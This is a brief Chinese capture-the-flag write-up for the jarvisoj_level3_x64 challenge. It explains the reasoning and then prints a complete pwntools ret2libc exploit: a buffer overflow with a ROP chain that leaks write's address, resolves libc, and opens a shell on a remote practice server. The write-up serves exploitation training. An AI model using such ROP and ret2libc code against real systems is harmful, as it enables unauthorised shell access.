混了快一个礼拜终于发现不能再混了——jarvisoj_level3_x64
先默认操作
ida:
唯一难点就是用write需要3个参数,然而可以找到rdi,rsi,但是找不到rdx
但是通过gdb可以看见rdx已经被赋值为0x200,因为上面调用read函数时已经赋值了
所以老套路后面都一样
接受地址时换一个接受法
addr=u64(p.recvuntil("\x7f")[-6:].ljust(0x8,'\x00'))
地址特征以7f开头,64位地址大小为6字节
被坑过好几次了
exp:
from pwn import *
from LibcSearcher import *
#p=process('./level3_x64')
p=remote('node3.buuoj.cn',27405)
elf=ELF("./level3_x64")
write_plt=elf.plt['write']
write_got=elf.got['write']
pop_rdi=0x4006b3
pop_rsi=0x4006b1
ret=0x400499
main_addr=elf.symbols['main']
payload='a'*(0x88)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendline(payload)
write_addr=u64(p.recvuntil("\x7f")[-6:].ljust(0x8,'\x00'))
print("%x"%write_addr)
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
bin=libc_base+libc.dump('str_bin_sh')
payload2='a'*(0x88)+p64(pop_rdi)+p64(bin)+p64(ret)+p64(system)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()
时隔一礼拜感觉生疏了,感谢csgo治好了我的低血压和网瘾